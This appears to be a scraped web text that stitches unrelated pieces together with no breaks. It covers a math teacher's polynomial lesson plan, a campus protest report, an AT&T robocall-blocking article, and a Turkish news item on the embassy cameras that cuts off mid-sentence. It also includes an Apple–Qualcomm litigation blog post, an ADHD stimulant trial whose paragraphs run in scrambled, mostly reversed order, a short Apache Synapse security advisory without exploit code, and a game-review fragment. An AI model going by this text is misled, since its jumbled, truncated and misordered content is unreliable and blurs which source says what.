The Activity:
Separate students into groups. Four students per group is the magic number. I used this grouping randomizer site.
Have students separate the shapes into groups of yellow hexagons, orange squares, and green triangles I didn’t bother with the other shapes because I wanted them to have different numbers of sides
Students count the shapes out and write their results on the board
In their groups, as a race, have students determine the TOTAL number of sides for EACH colour, and the total number of sides overall First group to do this got a prize
The Purpose Behind This:
Allows students to start thinking about grouping “like” items together
Students start to recognize the importance of number-variable substitution
Problem-solving and team-working skills It was really neat to see kids standing at the board, figuring out the numbers and shouting to their team mates.
You’ll notice on the white-board I have a polynomial written “6y+3g+4r“. This is a polynomial that my class constructed during the post-activity discussion. Now, I didn’t say “okay, what’s the polynomial” instead the conversation went more like this:
T – “What did each group have in common?”
S – “The shapes” “The number of sides for each shape”
T – “How did each group figure out the totals?”
S – “We multiplied the number of those shapes, but that number of sides”
T – “And did each group multiply by the same thing”
S – “Each group multiplied by 6 for the hexagon, but they used THEIR number of hexagons, because each group had different amounts.”
T – “Is there a general rule we can use to figure out the total number of sides for each group?”
And thus, the polynomial was born. From this point on, I went on to give the students important vocabulary words that will be used throughout the unit. As well as brief notes on Polynomials themselves.
Overall, this was a very simple task to put together, extremely engaging for my class, and had the students access problem-solving skills necessary for this unit without me having to tell them HOW to do it.
Printable Supplies:
If you don’t have the Pattern Blocks, you can print this template and have the students colour them in and cut them out.
Blocks Printable
I used this word-search with Polynomial vocabulary terms for the students before we did notes.
Polynomials Terms Word Search
I used this note template for the start of the polynomial unit.
Polynomials Notes
If you liked anything from this activity, or end up using it, I would love to hear feedback from you on how it went, and what you did differently.
Thanks,
Lisa
AdvertisementsOn Wednesday, Chodosh announced that new leadership positions on diversity and inclusion would be created in the offices of academic and student affairs. The administrators will work to increase diversity in hiring and in the curriculum, and a new space will be dedicated for work on diversity, identity and free speech, he said in a letter to the campus community.
"I stand by our students," Chodosh wrote. "I support their right to speak out forcefully, and want their voices to be heard."
After Chodosh's announcement and Spellman's resignation, student protest leaders said they would continue to press for greater institutional support for students who feel marginalized.
"This is not the be-all and end-all," said Jincy Varughese, 21, a senior environment, economics and politics major. "The fact that it took eight months of protest and two students saying that they wanted to go on a hunger fast to create all of this to happen is very telling."
Varughese says students want to be involved in creating and designing temporary and permanent resource centers that have been promised as well as in the hiring of the new dean of students and a diversity administrator.
"I think we are seeing some movement in claiming a voice for ourselves and receiving acknowledgment that we do have a problem," Varughese said.AT&T said it has blocked its billionth robocall using a new program that detects unwanted calls through network data analysis. And unlike some other companies, it created its own system to do it.
The nation’s second-largest mobile network operator said its fraud management team partnered with its big-data scientists on the effort, which examines more than 1.5 billion calls each day to detect “patterns that indicate robocallers” such as multiple, short-duration calls to numbers on the National Do Not Call List. A preliminary list of suspected robocallers is created, then further research is done to avoid suspending legitimate automated calls such as those conducted by school districts and other organizations.
The service complements AT&T Call Protect, which launched late last year as both wireless and wireline operators face increased pressure from federal regulators to help their customers avoid spam calls, robocalls and other unwanted come-ons. Potential legislation includes the proposed ROBOCOP Act, which would require telecoms to offer free, optional robocall-blocking technology to their customers. Outgoing FCC Chairman Tom Wheeler backed the act in July, sending letters to the CEOs of AT&T, Verizon and other major carriers calling on them to offer call-blocking services to customers at no charge.
Mobile World Congress 2019 Attend the 2-Day Executive 5G Panel Series FierceWireless is returning to Barcelona, Spain, during Mobile World Congress 2019 with a two-day Executive 5G Panel Series at the Fira Congress Hotel, conveniently located across the street from the MWC Convention Center. The panel events will take place on Feb. 25-26 and will cover 5G and The Fixed Wireless Access Opportunity, Taking 5G Indoors, and Making 5G Ubiquitous. Attendees will have the opportunity to network and hear from 5G leaders including Verizon, Vodafone, Orange, Sprint, NTT Docomo, Boingo Wireless, Qualcomm, and more over the course of two days.
Secure your spot at the event today! Now is your chance to join fellow industry professionals for networking and education. Registration information and the schedule can be found on the website here. Register today
The FCC voted last month to move forward with new rules designed to prevent spammers from placing unwanted robocalls. Among other elements, the proposed rules would also allow carriers to continue to block calls upon the request of the subscriber to an originating number, like IRS lines not used for outbound calls.
Other service providers and handset manufacturers have made similar moves to protect their customers from robocalls, but those strategies often involve leveraging third-party solutions. T-Mobile’s new Scam ID and Scam Block, for instance, use PrivacyStar’s database of scammer numbers to identify unwanted calls, and Hiya scored a deal last year to preload its robocall-blocking app on Samsung’s Galaxy Note 7.
Hiya also powers AT&T Call Protect.
Rather than requiring users to download an app to block incoming calls, AT&T's new offering prevents unwanted calls from being made in the first place.
“Our data science team took on a challenge to analyze and address the problem,” said Jenifer Robertson, AT&T’s senior vice president for technology strategy, in a press release this morning. “We knew the winners would be our customers.”
This story was edited April 13 to clarify that AT&T Call Protect is a separate service from the new offering and is powered by Hiya.Cameras were off during attack on US embassy
ANKARA - Anatolia News Agency
Daily News Photo, Sehattin Sönmez
The city camera system (MOBESE) was not working during the Feb. 1 attack on the U.S. Embassy in Ankara due to a black out in the district, Turkish Interior Minister Muammer Güler said, in response to a parliamentary question submitted by a Nationalist Movement Party (MHP) deputy.The question, submitted by Özcan Yeniçeri, focused on the MOBESE cameras during the Feb. 1 attack, and asked the causes behind the malfunction.Güler said a light outlet’s counter had burned, causing the municipality to direct technicians to the area and cutting off power from the district between the morning hours of 9 to 11 a.m. and the afternoon hours of 12 to 1 p.m.The power was back on when the work on the burned counter was finished, around |
the Centre Daily Times she has an expert opinion backing her up that the Facebook page was “legally ethical and necessary for law enforcement.”
She also told the Centre Daily Times that she wasn’t the perpetrator of the ex parte communications with judges and in some cases she was the victim of it. She also says some of the partially recovered texts were illegally obtained.
Parks Miller said she sought the ethics hearing to resolve the charges after at least 12 other issues were resolved. “There is a whole backstory to the matter but not a matter of public record so I cannot comment on that,” she told the publication.Under a May 30 court order, Apple has a couple of deadlines today (June 20) in its antitrust/patent litigation in the Southern District of California, and when double-checking on the deadline, I just noticed that Apple made one filing one day in advance--a motion to dismiss Qualcomm's unfair competition counterclaim based on the allegation that Apple hobbled, throttled or whatever one may call it its iPhones that come with Qualcomm chip in an effort to make Intel's chips appear equally performant (this post continues below the document):
17-06-19 Apple Motion to Dismiss Qualcomm Cc by Florian Mueller on Scribd
As I wrote ten weeks ago, the legal relevance of this to the dispute is very doubtful at best (it certainly has no bearing whatsoever on the question of fair, reasonable and non-discriminatory licensing terms), so to me it looks like more of a PR maneuver. I can't even imagine that it would influence consumers' purchase decisions (if Qualcomm' objective is to promote its brand, a new stadium naming rights deal might work while court filings won't). Also, my research methods are limited to obtaining and analyzing publicly-filed court documents, and I can go further than that only in a few cases where program code is made available (depending on the platform and programming language), but I don't have access to a wireless performance test lab. Still, I wanted to point out that Apple (a) strongly refutes Qualcomm's "hobbling" allegation and (b) is trying to get that part thrown out at the earliest possible stage.
These are the passages in which Apple contradicts on the factual level:
"With the iPhone 7, Apple procured baseband processor chipsets not only from Qualcomm but also from its competitor Intel. But after the iPhone 7's release, a methodologically unsound'study' questioned whether Apple had succeeded in its effort to standardize performance across all iPhones. In a public response, Apple truthfully stated that it had conducted its own studies, which showed consistent performance under relevant parameters." (emphasis added) "Apple disputes the factual allegations in Qualcomm's counterclaim [...]"> "Qualcomm alleges that third parties found that Qualcomm chipsets outperformed Intel's under unverified conditions and methodologies; [...]" (emphasis added) "Qualcomm relies on two so-called third-party studies for its claim that Apple's statement was false, but provides no factual allegations concerning the conditions under which these tests were performed or otherwise demonstrating their reliability or trustworthiness. [...] As an initial matter, it is apparent from the face of the Bloomberg article Qualcomm cites that the methodology of these'studies' is questionable. The article states that'measuring phone data speeds is difficult because performance can be influenced by weather and other factors beyond the control of wireless providers and phone makers.'" (emphasis added)
Apple consistently puts the word "study" (or its plural) in quotes...
Apple states at the very beginning of this motion that Qualcomm's claim against Apple is just meant to avoid competition from Intel:
"The claim, although nominally directed at Apple, blatantly targets Qualcomm's chief competitor in the market for premium LTE baseband chipsets, Intel, who dared to try and compete with Qualcomm."
That last subclause is reminiscent of the most brilliant passage in all those Samsung filings in its dispute with Apple, where Samsung, in its answer to Apple's first complaint back in 2010, ironically conceded not having ceased to compete with Apple. Without the irony, that portrayal of Qualcomm's motivation is reiterated later in the filing:
"At bottom, Qualcomm's counterclaim is an abuse of the UCL designed to limit competition from Intel and discourage Apple and other handset manufacturers from doing business with Qualcomm's competitors."
But Apple isn't asking the court to conduct performance tests and throw out Qualcomm's claim on that basis. Instead, Apple argues that
if anyone could claim to have "relied" on Apple's own representation of the performance situation ( i.e., Apple saying that there are no discernible differences in performance between the different iPhone models), that would be someone who made a purchase decision on that basis, which Qualcomm obviously didn't (in the Northern District of California, a group of L.A. taxi companies failed with a claim against Uber regarding safety standards, and failed in court because the taxi drivers weren't going to do Uber rides themselves);
none of the conduct that Qualcomm described as wrongful is actually against the law (for example, Apple can conduct its own studies and talk about the results, and it's free to make design decisions and to choose business partners); and
Qualcomm has not alleged an "incipient violation of the antitrust laws, a violation of their policy, or spirit, or any other threat to competition."
The hurdle for a dismissal (especially a dismissal with prejudice, which is requested here) is high, but what I've read about the L.A. Taxi v. Uber case suggests that this motion may very well succeed. For the San Diego court, Apple's motion to dismiss may be an opportunity to dispose of something that is legally unrelated to what will actually decide the case but would make a lot of noise. In the alternative, it could be that just because of the PR impact of this the parties would fight extremely hard over the testimony and evidence admitted in this context. I view the "throttling" part as a mix of a sideshow and a potential quagmire.
Follow @FOSSpatents
Share with other professionals via LinkedIn:Drs. Blader, Pliszka, Bailey, and Matthews are with the University of Texas Health Science Center (HSC) at San Antonio. Drs. Crowell, Carlson, Margulies, and Sverd, Mr. Sauder, and Mrs. Sinha are with Stony Brook University, State University of New York. Drs. Blader, Kafantaris, and Foley are with the North Shore–Long Island Jewish (LIJ) Health System. Dr. Daviss is with the Geisel School of Medicine at Dartmouth
Findings suggest that pretreatment CU traits and proactive aggression do not forecast worse outcomes for aggressive children with ADHD receiving optimized stimulant pharmacotherapy. With such treatment, CU traits and proactive aggression may decline alongside other behavioral improvements.
We implemented a stimulant optimization protocol with 160 6- to 13-year-olds (mean [SD] age of 9.31 [2.02] years; 78.75% males) with ADHD, oppositional defiant or conduct disorder, and significant aggressive behavior. Family-focused behavioral intervention was provided concurrently. Primary outcome was the Retrospective Modified Overt Aggression Scale. The Antisocial Process Screening Device and the Aggression Scale, also completed by parents, measured CU traits and proactive aggression, respectively. Analyses examined moderating effects of CU traits and proactive aggression on outcomes.
Stimulant treatment improves impulse control among children with attention-deficit/hyperactivity disorder (ADHD). Decreased aggression often accompanies stimulant pharmacotherapy, suggesting that impulsiveness is integral to their aggressive behavior. However, children with high callous-unemotional (CU) traits and proactive aggression may benefit less from ADHD pharmacotherapy because their aggressive behavior seems more purposeful and deliberate. This study’s objective was to determine if pretreatment CU traits and proactive aggression affect treatment outcomes among aggressive children with ADHD receiving stimulant monotherapy.
This study examined whether baseline CU traits and proactive aggression attenuate favorable changes in aggression and other behavioral outcomes following optimized stimulant pharmacotherapy among 6- to 13-year-old children with ADHD. Changes in CU traits and proactive aggression were also evaluated.
Effective pharmacotherapy for the impulsivity, inattention, and hyperactivity associated with attention-deficit/hyperactivity disorder is well-established. Optimized stimulant treatment also often culminates in reduced aggressive behavior among youngsters with attention-deficit/hyperactivity disorder (ADHD), consistent with impulse control problems having an elemental role in childhood aggression. 41 However, a common view is that proactive aggression, with roots not only in impulsivity but also in unfavorable socialization, will be less responsive to pharmacotherapy. e.g., 42 High proactive aggression might also signify greater severity and so predict weaker treatment effects for all conduct problems. Similarly, because aggression related to interpersonal callousness seems largely volitional, high CU traits may reduce the likelihood that conduct problems will diminish with pharmacotherapy for ADHD. Indeed, there is concern that improved self-control might contribute to more skillful deceit and coercive behavior. 43
Elevated impulsivity in childhood seems to be a common substrate for both proactive and reactive aggressive behavior, which further reinforces their linkage. 35 Psychometric and diagnostic data likewise show that impulsivity’s correlation with CU traits is substantial. 2, 31, 38, 39 More broadly, trait impulsivity heightens one’s risk for the “externalizing” disorders (oppositional defiant disorder [ODD], conduct disorder [CD], substance use, etc.) that share weak inhibitory behavioral control. 40
While a proactive–reactive dichotomy offers a useful framework for aggressive behaviors, its value as a classification method for individuals is less clear. Many individuals display aggressive behaviors of both types. 31, 32 Quantitative measures of these behaviors show strong correlations. 33 – 36 Among children, persistent proactive aggression most frequently develops among those with significant reactive aggressive behavior as well. 32 The most common behavioral phenotypes involve either reactive aggressive behavior alone or reactive-plus-proactive aggressive behaviors. 37
An important individual factor that contributes to proactive aggression is flattened emotional response to others’ suffering, and, in particular, indifference to the hardship one’s behaviors cause. 26 The leading descriptor of these features as callous-unemotional (CU) traits 27 evokes well the diminished empathy, lack of remorse, and insincerity they engender. These characteristics are central to most definitions of psychopathy. 28 – 30
Proactive aggression describes harmful volitional behavior that extracts objects of desire (e.g., material goods, social dominance, sexual contact) through unjustified violation of someone else’s rights or well-being. Characteristics that facilitate proactive aggression include impulsiveness and inflated belief in one’s entitlement to satisfaction regardless of its consequences. 20 – 22 Environmental factors that foster proactive aggression include association with milieus that reward and valorize coercive behavior, or that condone aggressive conduct because they regard its victims as adversaries or outsiders. 23 – 25
Reactive aggression arises when frustration, annoyance, or perceived threat provokes hostile behaviors to repel them. Observers judge these reactions as aggressive when they are abnormally intense, dyscontrolled, or forceful and seem unwarranted because they follow commonplace triggers that age-mates endure with composure. Reactive aggression is a frequent complication of psychiatric disorders that raise susceptibility to negative affect, especially irritability, that impair impulse control, or that distort one’s detection and appraisal of threat. 12 – 19
Chronic aggressive behavior usually first develops during childhood 1 – 3 and is among the foremost impairments for which children obtain mental health care. 4 Different types of aggression, though, are thought to have distinct determinants and may therefore require different treatments. 5 – 7 The leading approach to subtyping aggressive behaviors distinguishes incidents by the aggressor’s motivation. 7 – 11 This framework differentiates aggressive behaviors with mainly defensive aims (reactive) from aggressive behaviors whose goals seem chiefly acquisitive (proactive).
Analyses of change in the continuous-scale behavioral outcomes used SAS ® PROC GLIMMIX, 54 treating subjects as random effects, time as a fixed effect, and their interaction as the index of change. The interaction of baseline CU traits with time and of baseline proactive aggression with time tested moderation effects. Further analyses used severity groupings of these covariates as discrete, rather than continuous, predictors.
Linear and logistic regression, using SAS ® PROC GLIMMIX, 54 evaluated demographic variables and study site for their associations with baseline proactive aggression subtype, CU traits and behavioral outcomes so that subsequent analyses could adjust for potential confounds.
At the endpoint assessment, children with R-MOAS scores 15 and higher were classified as stimulant refractory. Those with lower scores were classified as having remission of their aggressive behavior, based on prior work indicating this range was associated with no or negligible aggressive behavior. 41, 44
Adjustments to stimulant agent and dosage concluded when (a) ADHD symptoms resolved, (b) unacceptable or unmanageable adverse effects contraindicated dose escalation, or (c) the agent’s daily ceiling was attained (MPH-TRI: 90 mg/d; MPH-BI: 50 mg/d; MAS-XR: 35 mg/d). Clinicians reviewed data from preceding weeks to identify the best tolerated regimen associated with greatest symptomatic improvement. That regimen was continued or reinstated for a “replication” week, followed by the endpoint assessment. Because the number of agents and dosages undertaken to identify each child’s optimal regimen differed between children, the length of this stimulant monotherapy optimization period varied. In some instances, children who completed this titration protocol during summer school breaks with good response had the final assessment of their regimen’s adequacy deferred, when clinically indicated, until school had resumed. The mean (SD) interval from baseline to stimulant endpoint assessments was 70.22 (37.48) days.
Upon enrollment, children discontinued all nonstimulant psychotropic medications with tapering and duration appropriate to the compound’s elimination time course. Initial stimulant titration in most instances used a triphasic, osmotically-releasing methylphenidate preparation given once daily (MPH-TRI). Children who experienced problems attributable to MPH-TRI’s long duration of action (e.g., insomnia), could switch to a biphasic, bead-released MPH preparation (MPH-BI). Children who gained insufficient benefit for ADHD symptoms with MPH could switch to extended-release mixed amphetamine salts, administered once-daily as a biphasic-release, beaded preparation (MAS-XR).
Parents also completed the Antisocial Process Screening Device 51 (APSD). We used this scale’s 6-item Callous/Unemotional traits (CU) factor, which emphasizes unconcern for others, remorselessness, shallow emotionality, and manipulativeness. Parents completed the full scale, which also yields Narcissism and Impulsivity factors scores. This instrument has been widely used in research on CU traits among youth.
Parents’ completed ratings on Vitiello and Stoff’s 33 16-item Aggression Questionnaire (VAQ). This measure provides scores reflecting how much of the child’s aggressive behavior seems proactive (e.g., items pertaining to control, planning, concealment, care not to injure self) and reactive (e.g., items pertaining to dyscontrol, spontaneity, remorse, self-defeating or self-harmful acts during episodes). The scale emphasizes these elements of conduct disturbances, rather than the frequency of specific types of problem behaviors, making it a more specific assessment of willful/controlled vs. reactive/dyscontrolled aggressive behavior.
Diagnostic assessment comprised interviews with both parent and child utilizing the Schedule of Affective Disorders and Schizophrenia for School-Age Children 50 (K[iddie]-SADS) by a clinical child psychologist (J.C.B.) or a child and adolescent psychiatrist (S.R.P., W.B.D., T.M.). Parents and children met for a separate clinical diagnostic evaluation with a child and adolescent psychiatrist (C.A.F., V.K., S.R.P., T.M., W.B.D., J.S., D.M.) or an advanced-practice nurse practitioner in child and adolescent psychiatry (C.S.) who also obtained medical history. The K-SADS interviewer and the clinical assessor conferred to arrive at consensus diagnoses.
After complete description of the study, parents or legal guardians provided written informed permission and children over 8 years old gave written assent. Each site’s Institutional Review approved procedures prior to trial commencement and conducted annual reviews for reapproval.
We excluded from participation children with major depressive disorder, bipolar I disorder, Tourette’s disorder, psychotic disorders, autistic disorder, and IQs below 70. An anxiety disorder was disqualifying if aggressive behavior was mainly a complication of it (e.g., a child with separation anxiety who became aggressive only in the context of separation situations). Health-related exclusion criteria were seizure disorders, pregnancy, and medical contraindications to treatment with stimulants, risperidone, or divalproex sodium.
Prior Pharmacotherapy: Children needed to have had prior treatment with psychostimulant medication for one month on at least 30 mg per day of methylphenidate or equivalent (e.g., 15 mg of an amphetamine-based compound, 15 mg of dexmethylphenidate). 48, 49 Requiring this threshold for prior treatment in addition to current symptom severity aimed to increase the likelihood that participants would have incomplete response to stimulant monotherapy and be eligible for the controlled trial of adjunctive medication.
Severity of ADHD and Aggression: Parent ratings yielded scores at least 1.5 standard deviations above the normative mean for the child’s age and gender on both the Restless/Inattentive subscale of the Conners Global Index 45, 46 (ConnGI-P) and the Aggressive Behavior subscale of the Child Behavior Checklist 47 (CBCL). Aggressive behavior during the preceding week had to be clinically significant, gauged by a total score more than 24 on the parent-completed Retrospective Modified Overt Aggression Scale (R-MOAS), as described in an earlier publication. 44
Participant eligibility criteria for both trials differed only by the required age at enrollment, which was 6-to 13-years-old in the first trial and 6–12 in the second. Boys and girls were eligible who met the following additional inclusion criteria.
Both trials implemented the same stimulant titration and monitoring protocol, whose objective was to identify each child’s most effective and best-tolerated stimulant monotherapy regimen. This protocol served as a lead-in phase to determine eligibility for randomized, double-blinded controlled trials of treatments added to stimulant medication for children whose aggressive behavior proved refractory to stimulant monotherapy. 41, 44
This report’s data come from the initial open stimulant titration phase of two clinical trials for children with ADHD, oppositional defiant or conduct disorder, and persistent aggressive behavior. One trial was conducted at Stony Brook University Medical Center (Stony Brook, New York) and at Long Island Jewish Medical Center (New Hyde Park, New York). The University of Texas Health Science Center at San Antonio joined these sites in a second trial.
A new specifier for the diagnosis of CD, “With Significant Callous-Unemotional Traits”, designates individuals who manifest at least two of four CU cardinal features. 56 Using baseline APSD CU ratings to apply these criteria, 57 we identified 26 children (16.25%) as specifier-positive (diagnosis of conduct disorder, however, was not required). At the endpoint assessment, eleven (42.2%) met aggression-remission criteria, compared with 71 of 126 (53%) of the other participants. This difference is not statistically significant (OR [95% CI], 0.8 [0.52 – 1.26). Most (17 [62.4%]) children who fulfilled specifier-positive criteria at baseline did not at the endpoint assessment. Ten who were specifier-negative at baseline (7.46%) became specifier-positive at the endpoint.
’s histograms and analyses show overall higher behavioral symptoms as a function of baseline proactive aggression and CU traits severity grouping. However, a child’s severity group was unrelated to the magnitude of improvement on behavioral outcomes. The only significant interaction between baseline proactive aggression group and time was for proactive aggression itself (2a); those in the high group showed larger reductions after treatment. Baseline CU traits showed a similar pattern (4b).
Scores of 0 or 1 on the VAQ’s proactive subscale captured the lower 30.3%; of 2 or 3 were the middle 42.3%; and 4 through 7 were the upper 27.4%. Scores of 0 through 4 on the APSD’s CU subscale captured the lower 32.8%, 5 or 6 were the middle 42.2%, and 7 or above the upper 27.1%.
We tested whether CU traits predict less improvement in proactive aggression specifically. The bottom row of shows a meager CU traits by Time interaction on proactive aggression (p=.08). However, this effect is toward larger reductions in proactive aggression as a function of baseline CU traits.
We tested the joint effects of proactive aggression and CU traits by including both of these covariates and their interaction. There were no significant interactions of proactive aggression and CU traits on any outcome.
Baseline proactive aggression was associated with greater severity on several measures averaged over assessments. There were significant main effects on overt aggression, restless/inattentive symptoms, CBCL Externalizing Behavior, and CU traits. Baseline CU traits showed main effects for restless/inattentive symptoms, CBCL Externalizing Behavior, and proactive aggression ratings, signifying in a similar manner their association with severity.
Neither baseline proactive aggression nor CU traits affected the likelihood that a child would remit ( ). Likewise, interactions of baseline proactive aggression and CU traits with time were not statistically significant for any continuous-scale behavioral outcome, indicating that neither variable affected changes on these outcomes.
Children whose overall aggressive behavior did not remit showed no statistically reliable changes from baseline (i.e., CIs included zero) on proactive aggression, reactive aggression, and callous-unemotional ratings. Their other behavioral outcomes reflected improvements, but SMDs were only 34% to 53% the magnitude found for the remitter group.
Just over half (82 of 160; 51%) experienced remission of their aggressive behavior. Children whose aggression remitted showed statistically reliable reductions from baseline on all measures (i.e., confidence intervals for the SMDs exclude zero), including proactive aggression and callous-unemotional traits.
summarizes behavioral rating scales data obtained at baseline and at the conclusion of the stimulant optimization trial. The table also contains standardized mean differences (SMD) from baseline to endpoint assessment 55 and their 95% CI.
Age showed a significant association with overall aggression ratings. Older children had lower R-MOAS parent ratings averaged over time (B Age/Yrs = −1.99, t[147]= −2.17, p =.032), but reduction from baseline to endpoint was unrelated to age (B Age/Yrs × Time = 1.29, t[147] = 1.18, p =.24). Children at one site obtained lower aggression ratings than the other two (B Site = −10.77, t[147] = −2.23, p =.027). Subsequent analyses included age, the random effects of site, and their interactions with time as covariates.
Between January 2004 and September 2012, 780 children were screened for the two trials. contains the CONSORT diagram of this cohort’s progress through the trial’s selection and treatment stages. presents demographic and clinical characteristics of the 160 children who furnished data for this report.
Discussion
We examined whether elevated baseline CU traits or proactive aggression would diminish the effectiveness of stimulant monotherapy in reducing aggressive behavior among children with ADHD. These findings indicate that they do not. The possibility that CU traits selectively keep proactive aggression elevated was not supported.
Baseline ratings of proactive aggression and CU traits correlated with severity of behavioral disturbance. However, children who experienced remission of overt aggressive behavior also showed substantial reductions in post-treatment ratings of both CU traits and proactive aggression.
The assumption that successful coercive control over others perpetuates proactive aggression has implied that pharmacotherapy would be unhelpful in ameliorating it. Proactive aggression might also signify a more pernicious pattern of overall conduct problems that would prove refractory to treatment. Our results, in contrast, show that optimized treatment for ADHD warrants strong consideration as first-line intervention for children who present with significant aggression whether or not informants perceive that such behaviors are often volitional. This inference might not apply to children with ADHD whose aggressive behaviors are exclusively proactive, but preadolescents with this presentation in clinical settings are uncommon.
Mechanisms through which improved impulse control may lead to reduced proactive aggression warrant examination. Possible mechanisms may include improved capacity to delay gratification and, relatedly, to redirect one’s behavior away from high-intensity, high-reward situations that have unfavorable consequences.58,59 While pharmacotherapy may affect one or more “substrates” of childhood aggression (e.g., impulsiveness), environmental factors are probably important to changes in behavior. To delay gratification is not to forgo it entirely. Accordingly, devising alternative pathways to reward is a core element of behavioral interventions, including the one used in this trial. Peer group facilitation and reinforcement of antisocial behavior is a common feature of adolescent misconduct.60,61 Pharmacotherapy for underlying vulnerabilities, such as impulsivity, may be ineffective in reducing adolescent conduct disturbances unless disengagement from problematic peers also occurs.62
Earlier studies of CU traits and treatment response in this age group reported mixed results. Among 4-to 8-year-old children with ODD, but not ADHD, CU ratings predicted less benefit from behavioral management training for parents.63 In a full-day treatment program for 7- to 12-year-olds with ADHD and ODD/CD, those with higher CU ratings appeared to require stimulant treatment to ameliorate their conduct problems; children with lower CU ratings had consistently low daily conduct problems with or without stimulant treatment.64 In contrast, outpatient treatment for ODD or CD showed no influence of CU traits on outcomes adjusted for baseline severity, although teachers provided CU rating while parents supplied outcome data.65
The present report resolves some of these ambiguities. High CU ratings correlated with overall severity, but, in this cohort with significant persistent aggression, they did not work against treatment response to stimulant pharmacotherapy and behavioral intervention. Moreover, CU traits themselves improved along with reduced overt aggressive behavior.
Consistent with their conceptualization as traits, CU ratings display moderate consistency over time.66–69 Treatment studies that evaluated changes in children’s CU traits reported decreases, as we have.70, p. 138 These sets of findings are not incompatible. Although they decline when aggressive behavior improves, CU ratings among aggression remitters still corresponded to the 75th–95th percentiles of the normative sample.51, p. 36 Although it is encouraging that high CU trait ratings did not militate against treatment, the longer-term impact of persistently high CU traits is uncertain.
Still, our finding that CU ratings decline alongside other symptoms after stimulant monotherapy is not an obvious corollary of prevailing ideas about interpersonal callousness. This topic’s literature emphasizes the separability of CU traits from other factors that influence aggressive and antisocial behavior.71 But CU’s distinctiveness does not exclude a role for other factors in generating the behaviors associated with it. Some studies support a distinction between “primary” and “secondary” psychopathic traits 72,73. Primary psychopathy designates callous and harmful individuals who nevertheless show high social adeptness, confidence, and few psychiatric symptoms. In the secondary variant, psychopathic features result from psychopathology or adverse experiences, and so may be more responsive to treatment. Emotional instability and abuse have drawn attention in the genesis of secondary psychopathy.72 Likewise, the impulse control deficits that epitomize ADHD may identify those whose apparent callousness develops as a complication of long-term interpersonal conflict. CU features might then recede when timely treatment curbs the impulsive behavior that instigates these clashes.
An important limitation of this study is that measurement of proactive aggression and CU traits involves parents’ attributions and inferences concerning child motives. This method is susceptible to biases relating to parent-child relationships and parents’ explanatory frameworks for their children’s difficulties. Misspecification of aggression proactivity and CU traits is therefore possible. Relatedly, reductions in one salient characteristic such as aggression may evoke in raters a tendency to overestimate other positive changes, such as in CU traits. Such “halo effects,” however, seem tempered by findings that the effects sizes for CU traits are smaller than for overt aggression and ADHD symptoms.cf 74
Clinical trials, like other treatment encounters, provide participants information about diagnosis and treatment. This trial also included behavioral therapy intended to improve parent–child interactions. These psychoeducational and behavioral interventions may have led parents to attach less blame to the child as a willful protagonist of upsetting behavior.75 One might then expect that ratings of proactivity and CU traits would show meaningful reductions even if behavioral symptoms remained high. However, such reductions were not apparent among children whose aggression did not improve. Another limitation, common among short-term trials for chronic disturbances, is that their significance for long-term outcomes is uncertain.
Numerous studies have explored the psychophysiological, cognitive, neurofunctional, and neuroanatomical, correlates of aggression and CU traits, e.g., 76–79 with several focusing on youth.80 Stimulant treatment is likely to affect several of the brain systems implicated. This study suggests that the association between treatment-related neural changes and behavioral response may be a useful avenue to advance research on the emergence, differentiation, and curtailment of severe conduct problems among youth.oss-sec mailing list archives
By Date By Thread [CVE-2017-15708] Apache Synapse Remote Code Execution Vulnerability From: Isuru Udana <isudana () apache org>
Date: Sun, 10 Dec 2017 19:31:41 +0530
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 CVE-2017-15708: Apache Synapse Remote Code Execution Vulnerability Severity: Important Vendor: The Apache Software Foundation Versions Affected: 3.0.0, 2.1.0, 2.0.0, 1.2, 1.1.2, 1.1.1 Description: Due to the presence of Apache Commons Collections 3.2.1 (commons-collections-3.2.1.jar) or previous versions, Apache Synapse 3.0.0 or all previous releases allows remote code execution attacks that can be performed by injecting specially crafted serialized objects. Mitigation: Upgrade to 3.0.1 version. In Synapse 3.0.1 version, Commons Collection has been updated to 3.2.2 version which contains the fix for the above mentioned vulnerability. Credit: This issue was discovered by QingTeng cloud Security of Minded Security Researcher jianan.huang References: https://commons.apache.org/proper/commons-collections/security-reports.html Isuru Udana VP, Apache Synapse -----BEGIN PGP SIGNATURE----- Comment: MacGPG2 - http://www.gpgtools.org/macgpg2.html iQIzBAEBCgAdFiEE3kfhRbRVsOy2YlAnVEJWkuNs5sMFAlotO40ACgkQVEJWkuNs 5sN+xg/+P/iHhK3JAULQy6JlLt7T2oUmd9EjEfpp6VimVTARPzywAzH39ZdeNEnq dd7eCjadE2CCR5QVcLNgTxyKIL6KDqOtBrJFksiZi5Q2kx0rMzbs1cz48POUd0NK DNFWngbLqMvY9kkkm7ioS3aXpZ99pdIpr9e11tqMj6ds2OOqUn5KpbEJvlBi3Htr QpD+Rp42myuHE6kHl5g9CR9fo42WyUvihuutpBv1+aWwR6CJaBSuN+H6tkrJQUqj StFk7nNG/RfsNHmlwCFORk3JYsaao8p1f4o4YTQAsaAu6u3frj29kt2RnSDyjt6m uQEkuRlmlb82xDh/3WxNbjoAIYGjrlEKEJxJtW6x0pZ9w3Hl7ccLRglclFmrenjx T0+aBF4S5DaYixaMZAS3OMFe86e+9MXLtdCUopWmq9Je+dDeLovfYvzTL6j4vyEF NsAfSpz9yJQ/e/3uYAyyaR31XoS5kmtQSDclGijR4YhPIc25P5/yVjwc63CNO2sv kb/wAecK+zVPJOIXYloW+IrLwUxmgz/UTd3Ogqg6xP+ClCTIIz4z9fsght0aULBV 0YR6bmzigYthMFWdFiQDsDvWYFXVyJjeyVFfyyxOUlUjIY5pqZq+moWYQJ90dV+B J3Bi10tFhyZBNzyAe1R4unBISx6WOE+wCdkoexTpmx6XGce63iU= =Z+d2 -----END PGP SIGNATURE----- By Date By Thread Current thread: [CVE-2017-15708] Apache Synapse Remote Code Execution Vulnerability Isuru Udana (Dec 10)This product was provided to me by Nintendo. Opinions are my own.
The Story
This is where I'd put my plot... IF I HAD ONE!
The Overworld & Gameplay
Click to enlarge
Cut out a chunk of the screen, make stairs.
Well, it's later in the game now and we're still painting pipes to activate them.
Click to find hot grills in your area!
Battles
Click to enlarge (hah, that pun was accidental!)
